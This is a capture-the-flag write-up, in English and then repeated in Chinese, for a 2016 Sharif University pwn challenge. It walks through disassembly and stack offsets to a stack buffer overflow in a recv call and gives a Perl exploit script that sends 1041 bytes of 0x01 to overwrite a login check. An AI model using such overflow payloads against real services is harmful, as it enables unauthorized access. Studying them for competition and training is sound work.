Sharif University CTF 2016 -- Login to System (PWN 200)

EN:

It's easy to find out where is the bug :

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

 

when call the function recv(.text:0000000000400F50  ) , if the buf to large it will overwrite the stack rbp+var_20.

seeing the stack sataic：

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

we can calculate out the length of buf:

haystack - var_20 = 0x430-0x20=0x410 = 1040

send content： (?)x 1040 . \x01. "\n" 

"\x01" x 1041 . "\n";

the max length of the buf：

haystack - fd = 0x430 - 0x8 =1064

send contend can be： (?)x 1040 . \x01. (?) x22 "\n" 

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu"; 
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can't create socket: $!";
connect(SOCK,$dest)                or die "Can't connect: $!";
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
send SOCK,"hi\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x 1041 . "\n",0;              
sysread(SOCK, $buf, 2048); # try to read 2048
print $buf;
close SOCK;

 

CN:

用IDA的要Question, 很容易找到有问题的地方，

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

 

里recv,超长的会把rbp+var_20翻盖掉，再看栈区：

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

从栈区可以计算出 buf的长度。

haystack - var_20 = 0x430-0x20=0x410 = 1040

发送的内容应该是： (?)x 1040 . \x01. "\n" 

"\x01" x 1041 . "\n";

发送的内容buf最长可以是：

haystack - fd = 0x430 - 0x8 =1064

发送的内容应该是： (?)x 1040 . \x01. (?) x22 "\n" 

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu"; 
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can't create socket: $!";
connect(SOCK,$dest)                or die "Can't connect: $!";
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
send SOCK,"hi\n",0;
sysread(SOCK, $buf, 2048); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x 1041 . "\n",0;              
sysread(SOCK, $buf, 2048); # try to read 2048
print $buf;
close SOCK;